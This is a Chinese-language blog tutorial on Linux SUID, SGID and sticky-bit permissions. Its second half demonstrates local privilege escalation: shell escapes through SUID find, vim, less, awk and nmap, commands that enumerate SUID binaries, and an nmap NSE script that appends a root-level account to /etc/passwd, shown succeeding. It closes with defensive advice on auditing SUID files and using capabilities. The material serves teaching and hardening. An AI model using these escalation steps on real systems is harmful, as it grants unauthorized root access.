Linux中的SUID、SGID、SBIT权限介绍

在使用Linux服务器时,偶然发现有些可执行文件有一些除了rwx权限之外的权限s,之前了解过有一些特殊的文件权限,是使用chattr设置,lsattr查看的一些特殊文件属性(详见文件管理),但是这种s权限不在隐藏属性中,于是好奇心驱使下特地研究一下。

SUID权限

什么是SUID权限

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

使用SUID权限的实例

比如su命令和passwd命令:

1
2
3
4
x@iZf8zdt0lxjb33kqwiaft8Z:/bin$ ls -l su
-rwsr-xr-x 1 root root 44664 Mar 14 2022 su
x@iZf8zdt0lxjb33kqwiaft8Z:/bin$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 59640 Mar 14 2022 /usr/bin/passwd

实际上这2个可执行文件的所有者是root,但是我们依然可以在普通账号下使用这两个命令,这是因为普通账号在使用这2个命令的时候会暂时获得其拥有者的权限。

如何设置SUID权限

使用chmod u+s 可执行文件设置可执行文件的SUID权限,对于不可执行文件设置SUID权限是无效的,相应的位置上列出属性后是S,如下:

1
2
3
4
5
6
x@iZf8zdt0lxjb33kqwiaft8Z:~$ chmod u+s run 
x@iZf8zdt0lxjb33kqwiaft8Z:~$ ll
-rwSrw-r-- 1 x x 0 Nov 19 21:35 run
x@iZf8zdt0lxjb33kqwiaft8Z:~$ chmod +x run
x@iZf8zdt0lxjb33kqwiaft8Z:~$ ll
-rwsrwxr-x 1 x x 0 Nov 19 21:35 run*

也可以使用数字表示:SUID=4,SGID=2,SBIT=1,将原来的三位数扩展为四位数即可,把它们放在权限数字的最开头。只设置SUID可以用chmod 4664 run

SGID权限

什么是SGID权限

当s出现在文件的所属组x权限位置上时,表示所属组有SGID的权限。它有如下特点:

  1. 既可以作用于目录,也可以作用于可执行文件
  2. 只要父目录有SGID权限,所有的子目录都会递归继承
  3. 执行者对于该可执行文件需要具有x权限
  4. 在执行过程中,调用者会暂时获得该文件的所属组权限

如何设置SGID权限

与SUID的设置类似,但是SGID可以设置目录和可执行文件,使用chmod g+s 可执行文件or目录即可:

1
2
3
x@iZf8zdt0lxjb33kqwiaft8Z:~$ chmod g+s run 
x@iZf8zdt0lxjb33kqwiaft8Z:~$ ll
-rwsrwsr-x 1 x x 0 Nov 19 21:35 run*

也可以使用上述介绍SUID时的数字标识设置。

SBIT权限

什么是SBIT权限

当t出现在其他组的x权限位置时,表示其他组具有SBIT的权限。

SBIT(Sticky Bit)目前只针对目录有效,对于目录的作用是:当用户在该目录下建立文件或目录时,仅有自己与 root才有权力删除。

使用SBIT权限的实例

比如/tmp目录,任何人都可以在/tmp内增加、修改文件(因为权限全是rwx),但仅有该文件/目录建立者与 root能够删除自己的目录或文件。

1
2
3
x@iZf8zdt0lxjb33kqwiaft8Z:~$ cd /
x@iZf8zdt0lxjb33kqwiaft8Z:/$ ll
drwxrwxrwt 10 root root 4096 Nov 19 21:58 tmp/

如何设置SBIT权限

SBIT权限只能设置到目录,使用chmod o+t 目录,或者使用数字标识设置。

1
2
3
4
5
6
7
x@iZf8zdt0lxjb33kqwiaft8Z:~$ mkdir tmp
x@iZf8zdt0lxjb33kqwiaft8Z:~$ ll
drwxrwxr-x 2 x x 4096 Nov 19 22:34 tmp/
x@iZf8zdt0lxjb33kqwiaft8Z:~$ chmod 1777 tmp/
x@iZf8zdt0lxjb33kqwiaft8Z:~$ ll
total 24
drwxrwxrwt 2 x x 4096 Nov 19 22:34 tmp/

权限t也有大小写之分,大写说明没有x权限,小写说明有x权限。

利用SUID提权(新版Linux做了防护)

原理

通过前面的SUID权限的介绍可以知道,在执行属于root的拥有suid权限的可执行文件时,我们执行的可执行文件会拥有root权限,因此我们可以利用这一点,利用具有suid权限用户的命令去执行我们想要执行的命令。

可执行命令的一些命令

nmap

适用版本:2.02-5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令,可以使用如下命令进入交互模式:

1
2
nmap --interactive
nmap> !sh

–interactive应该是比较老版本的nmap提供的选项,最近的nmap上都没有这个选项了,不过可以写一个nse脚本,内容为os.execute('/bin/sh'),然后nmap --script=shell.nse来提权

find

find用来在系统中查找文件,比较常用,有执行命令的能力。

1
2
3
4
find anyExistFile -exec whoami \;
#进入shell
find anyExistFile -exec '/bin/sh' \;
$

vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

通过vim进入shell:

1
2
3
4
vim
#vim命令
:set shell = '/bin/sh'
:shell

less&more

1
2
#在less或者more中输入:
!/bin/sh

即可进入shell

awk

awk是一种强大的文本处理工具,它也可以进入shell:

1
awk 'BEGIN {system("/bin/bash")}'

提权实例(失败)

寻找可利用的具有SUID权限的的文件

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
x@iZf8zdt0lxjb33kqwiaft8Z:~$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/staprun
/usr/bin/find
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/su
/bin/mount
/bin/ping
/bin/fusermount

我们发现find具有SUID权限,因此后面可以进行利用(这里是特地设置的例子)。

利用find进入shell

亲测Ubuntu18.04不可以,进入shell之后权限还是原始的。

1
2
3
4
5
x@iZf8zdt0lxjb33kqwiaft8Z:/home/root$ cd /tmp/
x@iZf8zdt0lxjb33kqwiaft8Z:/tmp$ touch 111
x@iZf8zdt0lxjb33kqwiaft8Z:/tmp$ find 111 -exec '/bin/sh' \;
$ id
uid=1000(x) gid=1000(x) groups=1000(x)

查询资料得知如果启动bash时的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。据说Ubuntu16.04之后都做了相关防护,在dash代码中添加了以下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void setprivileged(int on)
{
static int is_privileged = 1;
if (is_privileged == on)
return;

is_privileged = on;

/*
* To limit bogus system(3) or popen(3) calls in setuid binaries, require
* -p flag to work in this situation.
*/
if (!on && (uid != geteuid() || gid != getegid())) {
setuid(uid);
setgid(gid);
/* PS1 might need to be changed accordingly. */
choose_ps1();
}
}

目前各大发行版的sh都增加了这个限制,一旦拥有suid的程序存在命令注入漏洞或其本身存在执行命令的功能,那么就有本地提权的风险,如果在sh中增加这个限制,提权的隐患就能被极大地遏制。

使用nmap脚本创建新用户测试(成功)

因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权。但是因为此时nmap已经是root权限,我们可以通过修改/etc/passwd的方式来添加一个新的super user

使用openssl将命令生成加密密码:

1
2
root@iZf8zdt0lxjb33kqwiaft8Z:~# openssl passwd -1 -salt root2 pass123
$1$root2$q24xYX7T6HxzG7tEjVEKO.

nmap脚本:

1
2
3
local file = io.open("/etc/passwd", "a")
file:write("root2:$1$root2$q24xYX7T6HxzG7tEjVEKO.:0:0::/root:/bin/bash\n")
file:close()

成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
x@iZf8zdt0lxjb33kqwiaft8Z:~$ nmap --script=file.nse

Starting Nmap 7.60 ( https://nmap.org ) at 2022-11-20 18:29 CST
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:626: file.nse is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:626: in field 'new'
/usr/bin/../share/nmap/nse_main.lua:825: in local 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1312: in main chunk
[C]: in ?

QUITTING!
x@iZf8zdt0lxjb33kqwiaft8Z:~$ su root2
Password:
root@iZf8zdt0lxjb33kqwiaft8Z:/home/x# id
uid=0(root) gid=0(root) groups=0(root)

防范措施

管理员要仔细研究具有SUID权限的文件,不要给易被利用的文件(比如上述的一些命令等)以SUID权限,防止SUID的滥用导致攻击者在进入服务器时轻易获取root权限。及时更新新版系统补丁。

Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

比如我们可以给nmap添加类似的能力即可:

1
2
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1

这样就可以不使用SUID权限即可拥有相关的能力。


Linux中的SUID、SGID、SBIT权限介绍
https://chujian521.github.io/blog/2022/11/19/Linux中的SUID、SGID、SBIT权限介绍/
作者
Encounter
发布于
2022年11月19日
许可协议